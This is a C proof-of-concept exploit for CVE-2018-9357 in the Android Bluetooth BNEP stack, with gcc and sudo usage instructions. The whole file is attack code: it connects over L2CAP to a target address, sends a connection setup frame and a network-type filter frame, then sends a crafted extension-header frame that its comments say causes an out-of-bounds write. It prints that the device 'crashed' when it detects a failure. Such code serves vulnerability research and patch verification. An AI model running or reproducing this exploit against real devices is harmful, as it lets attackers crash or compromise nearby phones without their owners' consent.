poc_CVE-2018-9357.c

/***
***Only for android devices***
usage:
$ gcc -o poc poc.c -lbluetooth
$ sudo ./poc dst_addr src_addr
***/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>          
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/l2cap.h>

typedef struct
{
	uint16_t event;
	uint16_t len;
	uint16_t offset;
	uint16_t layer_spec;
	uint8_t data[];
} BT_HDR;


#define BT_PSM_BNEP 0x000F

/* BNEP frame types
*/
#define BNEP_FRAME_GENERAL_ETHERNET 0x00
#define BNEP_FRAME_CONTROL 0x01
#define BNEP_FRAME_COMPRESSED_ETHERNET 0x02
#define BNEP_FRAME_COMPRESSED_ETHERNET_SRC_ONLY 0x03
#define BNEP_FRAME_COMPRESSED_ETHERNET_DEST_ONLY 0x04

/* BNEP filter control message types
*/
#define BNEP_CONTROL_COMMAND_NOT_UNDERSTOOD 0x00
#define BNEP_SETUP_CONNECTION_REQUEST_MSG 0x01
#define BNEP_SETUP_CONNECTION_RESPONSE_MSG 0x02
#define BNEP_FILTER_NET_TYPE_SET_MSG 0x03
#define BNEP_FILTER_NET_TYPE_RESPONSE_MSG 0x04
#define BNEP_FILTER_MULTI_ADDR_SET_MSG 0x05
#define BNEP_FILTER_MULTI_ADDR_RESPONSE_MSG 0x06

#define BE_STREAM_TO_UINT16(u16, p)                                       \
  {                                                                       \
    (u16) = (uint16_t)(((uint16_t)(*(p)) << 8) + (uint16_t)(*((p) + 1))); \
    (p) += 2;                                                             \
  }

#define UINT16_TO_BE_STREAM(p, u16) \
  {                                 \
    *(p)++ = (uint8_t)((u16) >> 8); \
    *(p)++ = (uint8_t)(u16);        \
  }

#define UINT8_TO_BE_STREAM(p, u8) \
  { *(p)++ = (uint8_t)(u8); }


static int l2cap_set_mtu(int sock_fd, uint16_t imtu, uint32_t omtu) {
	int ret;
	struct l2cap_options option_arg;
	socklen_t len ;
	memset(&option_arg, 0 ,sizeof(option_arg));

	ret = getsockopt(sock_fd, SOL_L2CAP, L2CAP_OPTIONS, &option_arg, &len);
	if(ret == -1){
		perror("[*] getsockopt failed : ");
		return -1;
	}

	option_arg.imtu = imtu;
	option_arg.omtu = omtu;

	ret = setsockopt(sock_fd, SOL_L2CAP, L2CAP_OPTIONS, &option_arg, sizeof(option_arg));
	if(ret == -1){
		perror("[*] setsockopt failed : ");
		return -1;
	}
	return 0;
}

static int send_frame_ctrl_conn_req(int sock_fd){
	uint8_t *buf, *p;
	int ret = 0;

	p = buf = malloc(0x100);
	memset(buf, 0, 0x100);

	uint8_t type = BNEP_FRAME_CONTROL;
	*p++ = type;

	uint8_t ctrl_type = BNEP_SETUP_CONNECTION_REQUEST_MSG;
	*p++ = ctrl_type;

	uint8_t len = 0x02;
	*p++ = len;

	uint16_t SRC_UUID = 0x1116; // PAN profile
	uint16_t DST_UUID = 0x1115; // PAN profile
	UINT16_TO_BE_STREAM(p, SRC_UUID);  // src_uuid
	UINT16_TO_BE_STREAM(p, DST_UUID); // dst_uuid


	uint16_t protocol = 0x0000;
	UINT16_TO_BE_STREAM(p, protocol);


	send(sock_fd, buf, p - buf, 0);

	free(buf);
}

static int send_frame_ctrl_filter_net_req(int sock_fd)
{// to make p_bcb->recv_num_filters not 0

	uint8_t *buf, *p;
	int ret = 0;

	p = buf = malloc(0x100);
	memset(buf, 0, 0x100);

	uint8_t type = BNEP_FRAME_CONTROL;
	*p++ = type;

	uint8_t ctrl_type = BNEP_FILTER_NET_TYPE_SET_MSG;  // no ext
	*p++ = ctrl_type;

	uint16_t len = 0x04; // this make num_filters = 0x01
	UINT16_TO_BE_STREAM(p, len);  // len

	uint16_t start = 0xfffe;  // must meet condition (protocol < start || protocol > end)
	uint16_t end = 0xffff;    // then bnep_is_packet_allowd return un-SUCCESS.
	UINT16_TO_BE_STREAM(p, start);
	UINT16_TO_BE_STREAM(p, end);

	send(sock_fd, buf, p - buf, 0);

	free(buf);
}


static void getbd(uint8_t *src, uint8_t *dst)
{
      for(int i = 0; i < 6; i++)
      {
          dst[i] = src[ 5 - i];
      }
}

static int send_trigger_req(int sock_fd, uint8_t *dst, uint8_t *src){
	uint8_t *buf, *p;
	int ret = 0;

	p = buf = malloc(0x200);
	memset(buf, 0, 0x200);

	uint8_t type = 0x80; // for ext
	*p++ = type;

    uint8_t dst_addr[6], src_addr[6];
    getbd(dst, dst_addr);
	memcpy(p, dst_addr, 6); // dst_addr
	p += 6;

    getbd(src, src_addr);
	memcpy(p, src_addr, 6); //src_add
	p += 6;

	uint16_t protocol = 0x8100;
	UINT16_TO_BE_STREAM(p, protocol);

	// rem_len start 
	uint8_t ext_type = 0x81;
	*p++ = ext_type;  // enter while loop, and break

	uint8_t len = 0x00;
	*p++ = len;    // new_len = 2

	uint8_t ext2 = 0x00;
	*p++ = ext2;

	uint8_t *p_len2 = p; // write into buffer later.
	p++;

	uint8_t len2 = p - buf - 15 - 2 - 2; // make new_len = orig_len, so new_len + 4 > orig_len,
	UINT8_TO_BE_STREAM(p_len2, len2);    // pdata ends, then pdata[2] = 0 and pdata[3] = 0 will OOB Write.

	send(sock_fd, buf, p - buf, 0);

	free(buf);
}


int main(int argc ,char* argv[]){
	int sock_fd, ret;
	int try_count = 1;
	char dest[18], src[18];
	uint8_t src_addr[6];
	struct sockaddr_l2 local_l2_addr;
	struct sockaddr_l2 remote_l2_addr;

	if(argc < 3){
		printf("usage : sudo ./poc TARGET_ADDR SRC_ADDR\n");
		return -1;
	}
	strncpy(dest, argv[1], 18);
	strncpy(src, argv[2], 18);

	while( try_count-- > 0 )
	{
		sock_fd = socket(PF_BLUETOOTH, SOCK_STREAM, BTPROTO_L2CAP);
		if(sock_fd == -1){
			perror("[*] socket create failed : ");
			return -1;
		}

		memset(&local_l2_addr, 0, sizeof(struct sockaddr_l2));
		local_l2_addr.l2_family = PF_BLUETOOTH;
		memcpy(&local_l2_addr.l2_bdaddr , BDADDR_ANY, sizeof(bdaddr_t));


		ret = bind(sock_fd, (struct sockaddr*) &local_l2_addr, sizeof(struct sockaddr_l2));
		if(ret == -1){
			perror("[*] bind()");
			goto out;
		}
               
        l2cap_set_mtu(sock_fd, 1691, 1691); // must be set, for create connection

		memset(&remote_l2_addr, 0, sizeof(remote_l2_addr));
		remote_l2_addr.l2_family = PF_BLUETOOTH;
		remote_l2_addr.l2_psm = htobs(BT_PSM_BNEP);
		str2ba(dest, &remote_l2_addr.l2_bdaddr);

		if(connect(sock_fd, (struct sockaddr *) &remote_l2_addr,sizeof(remote_l2_addr)) < 0) {  
	  		perror("[*] can't connect");
                        if(errno == 100)
                           goto vul;
			goto next;
		} 

		str2ba(src, src_addr);
		send_frame_ctrl_conn_req(sock_fd);
		sleep(0.5);
		send_frame_ctrl_filter_net_req(sock_fd);
		sleep(0.5);
		send_trigger_req(sock_fd, src_addr, &remote_l2_addr.l2_bdaddr);
		sleep(1);
		
	next:
		close(sock_fd);
	}

out:
	close(sock_fd);
	return 0;
vul:
        close(sock_fd);
        printf("[*]device is vulnarable, crashed!\n");
        return 0;
}